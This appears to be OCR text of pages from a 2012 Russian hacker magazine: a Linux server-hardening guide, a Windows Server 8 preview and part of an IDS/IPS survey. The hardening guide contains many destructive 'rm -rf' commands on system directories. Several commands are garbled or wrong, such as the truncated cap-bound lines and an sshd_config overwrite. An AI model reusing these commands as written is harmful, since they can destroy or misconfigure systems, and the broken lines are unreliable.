КорпоративныйЛечебное обрезаниеDrupalДля начала избавимся от низкуровневых утилит управленияфайловой системой:# rm /sbin/{badblocks,debugfs,dumpe2fs,e2image,e2label,e2undo,resize2fs,tune2fs}Теперь удалим инструменты управления таблицей разделов.Вряд ли взломщик будет их использовать, но чем черт не шутит:# rm /sbin/{fdisk,cfdisk,sfdisk}Также можно избавиться от утилит для создания файловыхсистем и swap-разделов:# rm /sbin/mkfs.*# rm /sbin/mkswapЗаодно удалим dd и install:# rm /bin/{dd,install}Теперь самое важное. Хакеры очень любят использовать различныеутилиты для манипулирования расширенными атрибутамифайловой системы, правами ACL, файловыми capabilitiesдля защиты своих файлов от удаления/модификации или для делегированияприложениям расширенных прав доступа. Многиеадмины могут даже не знать обо всех этих методах, поэтому онипользуются особой популярностью. К счастью, мы можем защититьсебя от подобных махинаций, просто удалив такие утилиты(вообще-то, они распространяются в отдельных пакетах, но кромесамих утилит эти пакеты включают в себя еще и библиотеки,необходимые для работы других нужных нам софтин).Итак, избавляемся от утилит управления мандатными правамидоступа (пакет acl):# rm /usr/bin/{chacl,getfacl,setfacl}Далее удаляем утилиты для манипулирования расширеннымиатрибутами файлов (пакет attr):# rm /usr/bin/{chattr,lsattr,getfattr,setfattr}И конечно же, утилиты управления capablities (пакет libcap):# rm /usr/sbin/{getcap,setcap}Также отправим в /dev/null утилиту для изменения контекстабезопасности:# rm /usr/sbin/chconНа этом можно было бы остановиться, но Арч по умолчаниюсодержит набор инструментов cracklib, который необходим длянекоторых (весьма полезных, кстати) модулей PAM, но при этомможет быть использован для взлома паролей. Его, естественно,лучше удалить:# rm /usr/sbin/cracklib*# rm -rf /usr/share/{cracklib,dict}В завершение удаляем менеджер пакетов. Да-да, все чтонужно мы уже установили, а для обновления дистрибутива будемиспользовать метод, приведенный в конце статьи.# rm /usr/bin/pacman*# rm /usr/bin/makepkg# rm /etc/pacman*# rm -rf /var/cache/pacmanНу и подчистим разные ненужности. Например, удалим файлы,требующиеся для сборки образа initrd:# rm -rf /lib/initcpioУберем из системы ненужные каталоги:# rm -rf /media /opt /usr/localУдалим ядро с отладочной информацией (вместе с каталогом/usr/src):# rm -rf /usr/srcТеперь, когда мы избавились от лишнего софта, можнопройтись по каталогам /lib /usr/lib и удалить неиспользуемыебиблиотеки (вряд ли их будет много, но лучше сделать это). Списокнужных библиотек можно получить с помощью следующейкоманды:# find /bin /sbin /usr/bin /usr/sbin |\xargs ldd | grep '\.so' |\cut -d ' ' -f 1 | sed 's/^[ \t]*//' |\sort | uniqЕго можно сохранить в файле и с помощью команды diff сравнитьс выводом команды «ls -1 /lib /usr/lib». Все не совпадающиебиблиотеки можно смело удалять.Список зависимых библиотек можно получить с помощью lddУстанавливаем нужный софтХАКЕР 02 /157/ 2012 1190119


SYN\ACK SYN/ACK00000000\r_NET» Антонов (0000nline.ru)ЧАСТЬ 4. НАСТРАИВАЕМ СЕРВЕРТеперь у нас есть система, очищенная от хлама, но к работе онапока не готова. Сейчас мы должны настроить сервер, то естьnginx, Постгрес, Django и другие компоненты. Как это сделать,я рассказывать не буду, все уже описано до меня. Скажу только,что корнем веб-сервера и Django-проектов следует сделатькакой-нибудь каталог в корне файловой системы, например/www (в нем можно создать два каталога: http — статика иdjango — скрипты). Это необходимо для того, чтобы в дальнейшемсо строгими ограничениями смонтировать для каталогаотдельный раздел.Чтобы все работало, выполним базовую настройку системыи добавим в автозагрузку nginx и остальные демоны. ArchLinuxне делает это автоматически, поэтому придется править /etc/rc.conf:# Имя хостаHOSTNAME="example.com"# Настройка сетевого интерфейсаinterface=eth0address=1.2.3.4netmask=255.255.255.0broadcast=1.2.3.4gateway=1.2.3.4# Запускаемые при старте системы демоныDAEMONS=(hwclock syslog-ng network crond postresql nginx)Для индивидуального запуска/остановки демонов можно использоватьскрипты каталога /etc/rc.d, например:# /etc/rc.d/nginx restartДалее мы должны предпринять некоторые меры по обеспечениювнешней безопасности сервера. Статья, конечно, не об этом,но о базовой настройке рассказать все же стоит. Во-первых,установим пароль для рута:# passwdВо-вторых, заведем непривилегированного пользователя:# useradd vasyaВ-третьих, отключим root-логин по SSH:# echo 'PermitRootLogin no' > /etc/ssh/sshd_config# /etc/rc.d/sshd restartНастроим брандмауэр так, чтобы открытыми оставались толькопорты 22 и 80 (SSH и HTTP):# Стандартная политикаiptables -P INPUT DROPiptables -A INPUT -i lo -j ACCEPT# Небольшая защита от DoSiptables -A INPUT -p tcp -m tcp --tcp-flags \SYN,ACK,FIN,RST RST -m limit --limit 1/s -j ACCEPT# Разрешаем уже установленные соединенияiptables -A INPUT -p all -m state --state \RELATED,ESTABLISHED -j ACCEPT# Наши портыiptables -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPTiptables -A INPUT -i eth0 -p tcp --dport 80 -j ACCEPT# Разрешаем некоторые ICMP-сообщенияiptables -A INPUT -i eth0 -p icmp -m icmp \--icmp-type 3 -j ACCEPTiptables -A INPUT -i eth0 -p icmp -m icmp \--icmp-type 11 -j ACCEPTiptables -A INPUT -i eth0 -p icmp -m icmp \--icmp-type 12 -j ACCEPTИ последняя, но очень важная настройка: запрет на выполнениесистемных действий после окончания загрузки дистрибутива.# echo 'echo $((0xffffffff ^ (1 \/proc/sys/kernel/cap-bound' >> /etc/rc.local# echo 'echo $((0xffffffff ^ (1 \/proc/sys/kernel/cap-bound' >> /etc/rc.local# echo 'echo $((0xffffffff ^ (1 \/proc/sys/kernel/cap-bound' >> /etc/rc.local# echo 'echo $((0xffffffff ^ (1 \/proc/sys/kernel/cap-bound' >> /etc/rc.localЭти строки добавляют в ядро после загрузки ограниченияна загрузку модулей (для защиты от бэкдоров и руткитов), навыполнение системного вызова chroot, на выполнение ptrace,то есть на трассировку процессов, и на различные системныедействия, например на монтирование файловых систем и подключениеswap. Пока система не будет перезагружена, отменитьограничения не сможет никто, включая root.ЧАСТЬ 5. ПЕРЕНОС СИСТЕМЫ НА СЕРВЕР ИОКОНЧАТЕЛЬНАЯ НАСТРОЙКАВсе, теперь у нас есть минималистичный Linux-дистрибутив,выполняющий строго определенные функции, но как установитьТеперь отредактируем sysctl.conf, чтобы применить несколькоклассических техник защиты:# Отключаем форвардинг пакетовnet.ipv4.ip_forward = 0# Включаем верификация маршрута пакетаnet.ipv4.conf.default.rp_filter = 1net.ipv4.conf.default.accept_source_route = 0# Уменьшаем количество повторных передач SYNACKnet.ipv4.tcp_synack_retries = 2# Отключаем редиректыnet.ipv4.conf.all.accept_redirects = 0net.ipv4.conf.all.secure_redirects = 0# Игнорируем широковещательные PING-запросыnet.ipv4.icmp_echo_ignore_broadcasts = 1# Защита от SYN-флудаnet.ipv4.tcp_syncookies = 1Список установленных пакетов1200120 ХАКЕР 02 /157/ 2012


КорпоративныйЛечебное обрезаниеDrupalего на реальный сервер? Очень просто — скопировать. Для этогопонадобятся установочный образ ArchLinux, чистая болванка,флешка и немного терпения. Выполняем весь процесс как указанониже.1. Завершаем работу виртуальной машины.2. Настраиваем ее загрузку с ISO-образа ArchLinux, вставляем вкомп флешку и прокидываем ее в виртуальную машину (с помощьюVirtualBox это легко сделать).3. Подключаем разделы дистрибутива к каталогу /mnt. На моемвиртуальном диске было три раздела: /dev/sda3 - корень, /dev/sda1 - /boot, /dev/sda4 - /home. Монтируем:# mount /dev/sda3 /mnt# mount /dev/sda1 /mnt/boot# mount /dev/sda4 /mnt/home4. Подключаем флешку к каталогу /media:# mount /dev/sdb1 /media5. Запаковываем систему в архив и кладем его на флешку:# cd /mnt# tar -czf /media/root.tar.gz .# sync6. Завершаем работу виртуальной машины, нарезаем ISO-образArchLinux на болванку и идем к серверу, прихватив с собойфлешку и болванку.7. Загружаем сервер с болванки и разбиваем диск с помощьюcfdisk, руководствуясь следующей схемой:sda1 — swap (размер: объем ОЗУ * 2);sda2 — корень (размер: 1 Гб);sda3 — /www (размер: столько, сколько нужно дляхранения всех файлов веб-сайта);sda4 — /var (размер: от 1 Гб).8. Создаем в разделах файловые системы:# mkfs.ext4 /dev/sda{2,3,4}9. Монтируем разделы к /mnt:# mount /dev/sda2 /mnt# mkdir /mnt/www /mnt/var# mount /dev/sda3 /mnt/www# mount /dev/sda4 /mnt/var10. Монтируем флешку и распаковываем архив с системой:# mount /dev/sdb1 /media# cd /mnt# tar -xzf /media/root.tar.gz11. Устанавливаем загрузчик:# chroot /mnt# grub-install /dev/sda112. Правим конфиг загрузчика:title Arch Linuxroot (hd0,1)kernel /boot/vmlinuz30 root=/dev/sda6 roinitrd /boot/kernel30.imgЕСЛИ ВЗЛОМЩИК ПРОНИКНЕТВ СИСТЕМУ ЧЕРЕЗ ДЫРУ ВВЕБ-СЕРВЕРЕ И ПОЛУЧИТПРАВА ПОЛЬЗОВАТЕЛЯWWW, ОН ДАЖЕ НЕ СМОЖЕТЗАПУСТИТЬ ЭКСПЛОЙТ13. Правим /etc/fstab следующим образом:devpts /dev/pts devpts defaults 0 0shm /dev/shm tmpfs nodev,nosuid 0 0/dev/sda1 swap swap defaults 0 0/dev/sda2 / ext4 defaults 0 1/dev/sda3 /www ext4 defaults,noexec,nodev 0 1/dev/sda4 /var ext4 defaults,noexec,nodev 0 1tmpfs /tmp tmpfs defaults,noexec,nodev 0 0Каталог /www будет смонтирован без возможности запускафайлов и создания устройств, так что если взломщик проникнетв систему через дыру в веб-сервере и получит права пользователяwww, он даже не сможет запустить эксплойт. Для каталогов/var и /tmp действуют те же правила.Все, теперь можно перезагрузить машину и посмотреть, каквсе работает.ЧАСТЬ 6. ОБНОВЛЕНИЕОбновить полученный дистрибутив не так-то просто. Для этогопотребуется виртуальная машина с установленным ArchLinux(самое время восстановить снимок, созданный в начале процесса)и sshfs. Процесс выглядит так:1. Включаем виртуальную машину.2. Устанавливаем sshfs.3. Обновляем базу данных пакетов и нужные софтины (например,nginx, PostgreSQL, SSH):# pacman -Sy# pacman -S nginx postgresql ssh4. Запоминаем, какие пакеты обновились, и для всех этих пакетов,включая nginx, PostgreSQL и SSH, смотрим список файлов:# pacman -Ql nginx postgresql ssh5. Перекидываем файлы на наш сервер с помощью sshfs:# sshfs сервер /mnt# for file in `pacman -Ql nginx | cut -d ' ' -f 2`; do\cp $file /mnt/$file;\doneГотово! Конечно, это не автоматические обновления каждуюночь, но и не ночной кошмар, тем более что весь процесс вполнеможно реализовать в скрипте.ЧАСТЬ 7. ВЫВОДЫВ этой статье приведены только базовые сведения о том, какобезопасить дистрибутив. Каждый сервер имеет свои особенности,которые необходимо учитывать. В любом случае главноеправило: чем меньше компонентов, тем лучше. zХАКЕР 02 /157/ 2012 1210121


SYN/ACKСергей «grinder» Яремчук (grinder@synack.ru)Рожденный подцифройвосемьINFOОсновной процессразработки Win8планируетсязавершить к лету2012 года. Новая ОСпоступит в продажув начале 2013-го.Название WindowsServer 8 являетсякодовым и ещене утвержденоокончательно.В Win2k8 ServerCore невозможнобыло использоватьMS SQL Serverили Exchange.Разработчикиобещают, что Win8будет поддерживатьСУБД.Функция Hyper-VReplica обеспечиваетасинхроннуюрепликациювиртуальныхмашин на внешниеплощадки.WWWЦентр разработкиWindows Server —msdn.microsoft.com/en-us/windowsserver.VIDEOНа прилагаемомк журналу дискеты найдешьвидеоролик, вкотором показанаустановка ипервоначальнаянастройка Windows 8Developer Preview.WARNINGWin8 будетвыпускаться толькодля 64-разрядныхсистем.ЗНАКОМИМСЯ СWINDOWS SERVER 8Работа над «восьмеркой», начавшаяся еще в2009 году, велась параллельно с разработкойWin2k8, однако официальной информациио новой серверной ОС было совсем мало.Разработчики обещали, что ядро будетнаписано с нуля, важную роль в системевозьмет на себя гипервизор, а кластерныеслужбы станут эффективнее. Как толькопоявилась версия Developer Preview, мы решилипроверить правдивость этих слов.Win8 получил обновленный Server Manager1220122 ХАКЕР 02 /157/ 2012


РожденныйРожденныйподподцифройцифройвосемьвосемьЛюбые настройки в GUI, по сути, сводятся к команде PowerShellВВЕДЕНИЕСовременные тенденции диктуют новые правила для разработчиковоперационных систем. Сегодня всё активнее продвигаются«облачные» технологии, многие компании уже используют виртуальныеструктуры (частные «облака») или планируют перейти кним. Большую популярность приобретают виртуальные машины,заменяющие целый парк серверов. Сотрудники теперь не привязанык конкретному рабочему месту, так как могут получить доступк ресурсам компании из любой точки, где есть выход в интернет.Поэтому при создании Win8 во главу угла были поставлены четырекомпонента: сетевая инфраструктура, удаленный доступ, удобствоуправления и виртуализация.ИНСТРУМЕНТЫ УПРАВЛЕНИЯ В WINDOWS 8Концепцию Win2k8 Server Core админы приняли благосклонно,поскольку отсутствие GUI снижает системные требования (чтоособенно актуально для VM) и повышает уровень безопасности.Однако установить можно было только одну из двух версий ОС: сGUI или без, изменить версию не представлялось возможным. ВWin8 для сервера доступно три варианта интерфейса: один с GUIи два варианта без него. В первой версии без GUI управление осуществляетсяс помощью командной строки, а во второй (FeaturesOn Demand) вместо GUI и IE в качестве инструментов управленияпредлагаются Server Manager и MMC. Но главное — теперь можнолегко менять интерфейс без переустановки сервера. Благодаряэтому Win8 можно настроить так, чтобы добиться оптимальногосоотношения между производительностью, безопасностью и удобствомуправления.Положительную реакцию у сообщества вызвало появление вWin2k8 оболочки PowerShell, позволяющей автоматизировать задачи,обрабатывать большие объемы данных и выполнять командысразу на множестве подчиненных систем.Win8 получила третью версию PowerShell, которая представляетсобой серьезный инструмент для выполнения задач, связанныхс администрированием системы, ролей и сервисов. Число командлетоввыросло на порядок и составляет уже более 2300 (в PS1 ихбыло 130, в PS2 — 230). Технология автодополнения IntelliSenseпревращает PS в удобное средство для создания и тестированиясценариев. Хорошо поддерживаются операции, выполняющиесядлительное время на большом количестве систем. Серьезно переработанныйстек стал более универсальным и переносимым, теперьв командлетах в большинстве случаев не нужно обращатьсяк специфическому API. Для работы с веб-сервисами PS используетформаты REST и JSON. По сути, многие штатные инструментыуправления из состава Win8 вроде RSAT и Server Manager представляютсобой надстройки над PS, а работа всех мастеров сводитсяк созданию и запуску сценария PS. При этом выполненныйранее сценарий можно скопировать из истории и экспортироватьдля повторного использования.Особенностью инструментария WMI (Windows ManagementInstrumentation) в Win8 является поддержка стандартов, описывающихвзаимодействие между оборудованием и приложениямивроде SMI-S, WSMAN или DCOM. Соответственно, третьим лицамстало проще писать WMI-провайдеры.Диспетчер сервера в Win2k8 мне нравился. Он отлично подходилдля настройки всевозможных параметров локальной системы,а с R2 позволял настраивать и удаленную. В Win8 разработчикипошли дальше и ввели понятие группы серверов. Теперь можноуправлять несколькими серверами одновременно, а в Dashboardвыводится информация, собранная со всех систем. Выбрав в спискесервер из меню, можно запустить другие средства управления:консоль Computer Management или PowerShell. Практически всеинструменты администрирования, ранее предлагавшиеся в видеотдельных консолей, теперь встроены в диспетчер сервера. СамServer Manager выполнен в фирменном стиле Metro, расположениеокон оптимизировано для современных wide-мониторов. События,которые требуют внимания админа, подсвечиваются разнымицветами. Фильтры помогают отобрать только необходимую информацию,причем запросы можно сохранить и использовать повторно.Как и ранее, настройка в основном производится при помощимастеров. При установке роли можно выбрать один из двухвариантов: роль/компонент или сценарий развертывания RDS.Далее мастер предлагает указать сервер(а) из списка или VDIдиск.По окончании настройки вернуться к мастеру можно из окнаNotification.«ОБЛАКА» И HYPER-VПервым широкой общественности был представлен обновленныйHyper-V 3.0, который превратился в одну из ключевых особенностей«восьмерки» и стал основой для создания частных ипубличных «облаков». Заявлена поддержка до 160 логическихCPU (ядер и потоков) и 2 Тб физической памяти, при этом каждаяVM может иметь до 32 vCPU и оперативную память объемом 512 Гб.Никаких лимитов по соотношению реальных и виртуальных CPU неустановлено, можно запускать столько VM, сколько потянет оборудование.Отказоустойчивый кластер, построенный на Win8, можетсодержать 63 узла с 4000 VM, имеющими функции Live Migration,балансировки нагрузки и Multi-Channel SMB (эта функция обе-Новый ADACХАКЕР 02 /157/ 2012 1230123


SYN\ACK SYN/ACKСергей grinder Яремчук (grinder@synack.ru)спечивает улучшенную пропускную способность и предоставляетнесколько резервных каналов между сервером и хранилищем наудаленном файловом ресурсе).Поддержка технологий, речь о которых пойдет далее, былареализована еще в Win2k8, теперь же они плотно интегрированы сгипервизором. Так, архитектура неравномерного доступа к памятиNUMA (Non-Uniform Memory Access) уменьшает задержки и повышаетэффективность работы VM. Это особенно касается мощныхсерверов, где Hyper-V показывает почти линейное масштабирование.Технология WHEA (Windows Hardware Error Architecture)адаптирует VM к аппаратным сбоям, обнаруживая ошибки. Еслиустранить проблему нельзя, то система определяет, какая из VMпострадала, и пытается ее перезапустить/восстановить, тогда какостальные продолжают работать в обычном режиме. ТехнологияHyper-V Replica позволяет создавать копию реплики данных иотправлять ее на удаленный сервер с последующим запуском. Этодает возможность быстро перейти на другой сервер или восстановитьресурс.Формат виртуальных дисков VHDX изменен для улучшениямасштабируемости, оптимизации и повышения надежности храненияданных и увеличения скорости. Максимальный объем можетпревышать 2 Тб (максимум 16 Тб), журнал уменьшает риск потериинформации. Диски легко объединяются на лету без остановкиработы VM. Том может быть зашифрован при помощи BitLocker, чтообеспечит защиту данных при размещении сервера в «облаке».РАБОТА С СЕТЬЮ И УДАЛЕННЫЙ ДОСТУПЧтобы Win8 могла стать полноценной основой для построения «облака»,в сетевую инфраструктуру и реализацию стека были внесенысущественные изменения. С помощью консоли NIC teamingможно объединять до 32 сетевых интерфейсов (любых производителей)в один виртуальный (link aggregation), обеспечивая большуюпропускную способность, балансировку нагрузки и автоматическоерезервирование.Ранее для этого требовались утилиты сторонних разработчикови однотипные сетевые карты. Штатная Control Panel не оченьудобна для настройки большого количества сетевых интерфейсов(включая виртуальные), поэтому в Win8 появился новый комплексныйинструмент управления IP-адресами — IPAM (IP AddressManagement). Новые системы удобно добавлять в список благодарясканеру, который загружает в консоль все данные о найденныхIP-адресах (динамических и статических), после чего админсортирует их и снабжает метками и описаниями. Доступны отчетыоб использовании IP-адресов. Имеются инструменты для контроляDYNAMIC ACCESS CONTROLDAC — новый механизм контроля доступа к файловой системе,который позволяет администратору определять единую политикудоступа к файлам на уровне домена и применять ее ко всемсуществующим файл-серверам в домене.трафика VM, выделяющие гарантированную полосу пропускания.Протокол SMB версии 2.2 получил новую функцию Multi-ChannelSMB, которая призвана устранить одно из типичных узких местпри передаче большого количества данных — низкую пропускнуюспособность сети.Теперь для обмена информацией между системами по SMBодновременно используется несколько сетевых интерфейсов.Новая фича не только увеличивает производительность, но и повышаетустойчивость в случае выхода из строя одной из сетевухсервера или маршрутизатора. Гипервизор, кстати, тоже поддерживаетвиртуальное соединение Fibre Channel между VM по SMB. Всефункции (захват, фильтрация трафика и роутинга) легко расширяемы,благодаря чему любой разработчик может добавить новыевозможности.Алгоритм компонента BranchCache также был модернизирован.Теперь, если в локалке уже имеется старая версия файла, функциядедупликации загружает с сервера только его измененную часть,а не весь файл. Ранее эта технология кеширования работала в филиальныхсетях, а в новой версии она адаптирована и для обменаданными в «облачных» сервисах.Важным дополнением является DHCP Guard, который блокируетDHCP-сообщения от неавторизованных виртуальных машин,претендующих на звание серверов DHCP. Появились инструментыдля работы с DHCP failover. Технология DNSSEC позволяет работатьс DNS-зонами, защищенными цифровой подписью, что исключаетатаки типа DNS Spoofing.Теперь для удаленного доступа к внутренним ресурсам вместонескольких ролей (Direct Access и VPN) предлагается единаяUnified Remote Access. Технология Direct Access (читай статью«Синхронный заплыв на дальнюю дистанцию», ][_09_2011) представляетсобой предпочтительное решение для создания такогоподключения. Сервер больше не требуется размещать в DMZ, онМастеру добавления роли можно указать любой сервер или виртуальный дискШтатные инструменты позволяют объединить сетевые интерфейсы1240124 ХАКЕР 02 /157/ 2012


РожденныйРожденныйподподцифройцифройвосемьвосемьметаданные и теги документов. Расширяемая архитектура позволяетинтегрировать новые разграничительные политики доступак ресурсам с ACL и другими инструментами аудита и управлениядоступом. Что в итоге обеспечит централизованную защиту науровне доменов файлов, а также папок поверх всех имеющихсяразрешений файлов.Администратору уже не нужно знать, на каких ресурсахнаходятся файлы и каталоги. Правила задаются при помощифункций AD и групповых политик и применяются автоматическипри создании объекта. При этом пользователь может просмотретьсписок автоматически предлагаемых ACL или выбрать другие,более подходящие. В ACL учитывается и контекст запроса. Например,пользователь может прочитать файл, находясь во внутреннейсети, но получить отказ при подключении через VPN. Сообщенияо причине блокировки можно редактировать. Также можно задатьпорядок действий для получения доступа. Все соответствующиенастройки задаются централизованно.К новому меню «Пуск» придется привыкатьможет находиться и за NAT'ом. Настройка сервера и соединенийупрощена, за всё отвечает мастер.Нововведения не обошли стороной и службу Remote DesktopService. Благодаря наличию нового кодека и поддержке протоколовTCP и UDP трафик снижается на 10 % по сравнению с предыдущейверсией. Технология RemoteFX, впервые появившаяся вWin2k8R2SP1, позволяет виртуализировать видеоадаптер сервераи при удаленном RDP-подключении к виртуальным машинам использоватьполноценные графические эффекты, включая DirectX.В поставку Win8 включена улучшенная версия RemoteFX, не требующаямассивов GPU. Настройка сервиса значительно упрощена,хранилище образов VDI оптимизировано. Теперь администратор,используя один шаблон как основу, может создавать индивидуальныесессии для каждого пользователя. Чтобы система не обращаласькаждый раз к серверу, используется локальный кеш, образымогут храниться на локальном диске или сетевых ресурсах.Код сервера и клиента NFS был переписан с нуля. Теперь онработает гораздо быстрее, что должно улучшить взаимодействие с*nix-системами.ХРАНЕНИЕ ДАННЫХКонцепция системы хранения информации была пересмотрена,чтобы сервер мог работать с большими объемами данных, размещенныхна нескольких сотнях виртуальных дисков. Теперь онавключает storage pools, то есть массивы дисков, которые могутбыть использованы для хранения VDI, и storage spaces — инструментыдля настройки производительности и отказоустойчивости.Новые диски добавляются в пул по мере необходимости и автоматическиподхватываются системой хранения данных как единыйstorage pool. И главное, нет необходимости покупать софт стороннихразработчиков для SATA- и SAS-дисков. Функция дедупликациипозволяет экономить объем за счет исключения избыточныхданных в дисковом хранилище.В случае сбоя проверка большого диска на ошибки при помощиCHKDSK может занять достаточно много времени, в течениекоторого сервер будет недоступен. В Win8 CheckDisk запускаетсяв онлайн-режиме и проверяет только проблемный раздел. Сам процессзанимает всего несколько секунд.Чтобы избежать утечки информации, необходимо четко установитьправа доступа к файлам и устройствам для пользователейи групп, но чем больше становится данных, тем тяжелее ими управлять.Функция динамического доступа, которая появилась в Win8,автоматизирует работу со списками контроля доступа, используяACTIVE DIRECTORYИзменения, учитывающие особенности работы новой версии ОС,коснулись и службы каталогов Active Directory. Все настройки,начиная с процесса развертывания, максимально упрощены. Послеустановки роли Active Directory Domain Services в Server Managerпоявляется ссылка, позволяющая запустить мастер, которыйфункционально напоминает ранее использовавшийся DCPROMO.В процессе создания домена можно установить функциональныйуровень леса/домена от Win2k3 до Win8.В Win2k8R2 появился новый центр администрирования ActiveDirectory (Administrative Center, ADAC), построенный поверхPowerShell. Его назначение тогда было не совсем понятно, так как,хотя он и обеспечивал удобный доступ к некоторым функциям,многие из них дублировались в MMC. В Win8 ADAC был усовершенствован.Многие настройки стали более удобными и понятными(например, настройка FGPP — fine-grained password policies, ранеевыполняемая при помощи ADSI Edit). Интерфейс позволяет просматриватьиспользованные команды PowerShell, которые можнокопировать и вставлять в свои скрипты. Корзина AD обзавеласьграфической оболочкой.Контроллер домена можно запускать на VM со всеми вкусностями— копии и снапшоты, позволяющие быстро развернуть резервныйКД. Чтобы не было путаницы и не возникали коллизии, призапуске копии с разными версиями КД во время создания снимкаID аннулируется, а при загрузке гипервизор проверяет ID текущегоКД, запускает Sysrep и обновляет все данные, приводя систему вактуальное состояние.IISШтатный веб-сервер IIS версии 8.0 получил новые функциональныевозможности по интеграции с Windows Azure, которыепозволяют создавать легко масштабируемые «облачные» сервисы.Теперь IIS запускается в индивидуальной «песочнице» с регулированиеммаксимального количества используемых CPU. Благодаряпроведенной оптимизации повысилась производительность,сервер требует в три раза меньше памяти. Одним из основныхнововведений в IIS является поддержка протокола WebSockets дляобмена сообщениями между браузером и веб-сервером поверх TCP.Таким образом, можно без особого труда подключать приложениядля асинхронных источников данных, написанные на HTML5.Значительно упрощено управление SSL-сертификатами. Теперь всеони находятся в одном хранилище, администратор самостоятельнонастраивает их привязку к сайтам. Управлять сертификатамитакже можно при помощи PowerShell.ЗАКЛЮЧЕНИЕКак видишь, нововведений довольно много, и они впечатляют.Хотя, конечно, это еще не финальная версия, и к моменту релизанекоторые возможности вполне могут измениться. zХАКЕР 02 /157/ 2012 1250125


SYN/ACKСергей «grinder» Яремчук (grinder@tux.in.ua)НОВЫЕДОСПЕХИдля IT-инфраструктурыПРИМЕНЕНИЕ IDS/IPS — ДЕЙСТВЕННЫЙСПОСОБПРЕДОТВРАТИТЬВТОРЖЕНИЕВ КОРПОРАТИВНУЮСЕТЬВ настоящее время защита, обеспечиваемаяфайерволом и антивирусом, ужене эффективна против сетевых атаки малварей. На первый план выходят решениякласса IDS/IPS, которые могут обнаруживатьи блокировать как известные, так и ещене известные угрозы.INFOО Mod_Securityи GreenSQL-FWчитай в статье«Последний рубеж»,][_12_2010.Как научить iptables«заглядывать»внутрь пакета, читайв статье «Огненныйщит», ][_12_2010.WWWhlbr.sf.net — сайт IPSHogwash Light BR.cipherdyne.org/fwsnort — сайтFwsnort.ТЕХНОЛОГИИ IDS/IPSЧтобы сделать выбор между IDS или IPS, следует понимать ихпринципы работы и назначение. Так, задача IDS (Intrusion DetectionSystem) состоит в обнаружении и регистрации атак, а также оповещениипри срабатывании определенного правила. В зависимостиот типа, IDS умеют выявлять различные виды сетевых атак, обнаруживатьпопытки неавторизованного доступа или повышения привилегий,появление вредоносного ПО, отслеживать открытие новогопорта и т. д. В отличие от межсетевого экрана, контролирующеготолько параметры сессии (IP, номер порта и состояние связей), IDS«заглядывает» внутрь пакета (до седьмого уровня OSI), анализируяпередаваемые данные. Существует несколько видов систем обнаружениявторжений. Весьма популярны APIDS (Application protocolbasedIDS), которые мониторят ограниченный список прикладныхпротоколов на предмет специфических атак. Типичными представителямиэтого класса являются PHPIDS (phpids.org), анализи-PHPIDS блокирует неправильные PHP-запросы126ХАКЕР 02 /157/ 2012


Новые доспехи для IT-инфраструктурырующий запросы к PHP-приложениям, Mod_Security, защищающийвеб-сервер (Apache), и GreenSQL-FW, блокирующий опасные SQLкоманды(см. статью «Последний рубеж» в ][_12_2010).Сетевые NIDS (Network Intrusion Detection System) более универсальны,что достигается благодаря технологии DPI (Deep PacketInspection, глубокое инспектирование пакета). Они контролируютне одно конкретное приложение, а весь проходящий трафик, начинаяс канального уровня.Для некоторых пакетных фильтров также реализована возможность«заглянуть внутрь» и блокировать опасность. В качестве примераможно привести проекты OpenDPI (www.opendpi.org) и Fwsnort(cipherdyne.org/fwsnort). Последний представляет собой программудля преобразования базы сигнатур Snort в эквивалентные правилаблокировки для iptables. Но изначально файервол заточен поддругие задачи, да и технология DPI «накладна» для движка, поэтомуфункции по обработке дополнительных данных ограничены блокировкойили маркированием строго определенных протоколов. IDSвсего лишь помечает (alert) все подозрительные действия. Чтобызаблокировать атакующий хост, администратор самостоятельноперенастраивает брандмауэр во время просмотра статистики. Естественно,ни о каком реагировании в реальном времени здесь речине идет. Именно поэтому сегодня более интересны IPS (IntrusionPrevention System, система предотвращения атак). Они основанына IDS и могут самостоятельно перестраивать пакетный фильтрили прерывать сеанс, отсылая TCP RST. В зависимости от принципаработы, IPS может устанавливаться «в разрыв» или использоватьзеркалирование трафика (SPAN), получаемого с нескольких сенсоров.Например, в разрыв устанавливается Hogwash Light BR (hlbr.sf.net), которая работает на втором уровне OSI. Такая система можетне иметь IP-адреса, а значит, остается невидимой для взломщика.В обычной жизни дверь не только запирают на замок, но и дополнительнозащищают, оставляя возле нее охранника, ведьтолько в этом случае можно быть уверенным в безопасности. В ITв качестве такого секьюрити выступают хостовые IPS (см. «Новыйоборонительный рубеж» в ][_08_2009), защищающие локальнуюсистему от вирусов, руткитов и взлома. Их часто путают с антивирусами,имеющими модуль проактивной защиты. Но HIPS, как правило,не используют сигнатуры, а значит, не требуют постоянногообновления баз. Они контролируют гораздо больше системныхпараметров: процессы, целостность системных файлов и реестра,записи в журналах и многое другое.Чтобы полностью владеть ситуацией, необходимо контролироватьи сопоставлять события как на сетевом уровне, так и на уровнехоста. Для этой цели были созданы гибридные IDS, которыеколлектят данные из разных источников (подобные системычасто относят к SIM — Security Information Management). СредиС Suricata можно использовать все наработки к Snort, например SnorbyХАКЕР 02 /157/ 2012 127


SYN\ACK SYN/ACKOpenSource-проектов интересен Prelude Hybrid IDS, собирающийданные практически со всех OpenSource IDS/IPS и понимающийформат журналов разных приложений (поддержка этой системыприостановлена несколько лет назад, но собранные пакеты ещеможно найти в репозиториях Linux и *BSD).В разнообразии предлагаемых решений может запутаться дажепрофи. Сегодня мы познакомимся с наиболее яркими представителямиIDS/IPS-систем.SURICATAРазработчик: OISF (Open Information Security Foundation).Web: www.openinfosecfoundation.org.Платформа: программная.ОС: Linux, *BSD, Mac OS X, Solaris, Windows/Cygwin.Лицензия: GNU GPL.Бета-версия этой IDS/IPS была представлена на суд общественностив январе 2010-го после трех лет разработок. Одна из главныхцелей проекта — создание и обкатка совершенно новых технологийобнаружения атак. За Suricata стоит объединение OISF, котороепользуется поддержкой серьезных партнеров, включая ребят из USDepartment of Homeland Security. Актуальным на сегодня являетсярелиз под номером 1.1, вышедший в ноябре 2011 года. Код проектараспространяется под лицензией GPLv2, но финансовые партнерыимеют доступ к не GPL-версии движка, которую они могут использоватьв своих продуктах. Для достижения максимального результатак работе привлекается сообщество, что позволяет достигнуть оченьвысокого темпа разработки. Например, по сравнению с предыдущейверсией 1.0, объем кода в 1.1 вырос на 70%. Некоторые современныеIDS с длинной историей, в том числе и Snort, не совсем эффективноиспользуют многопроцессорные/многоядерные системы, что приводитк проблемам при обработке большого объема данных. Suricataизначально работает в многопоточном режиме. Тесты показывают,что она шестикратно превосходит Snort в скорости (на системес 24 CPU и 128 ГБ 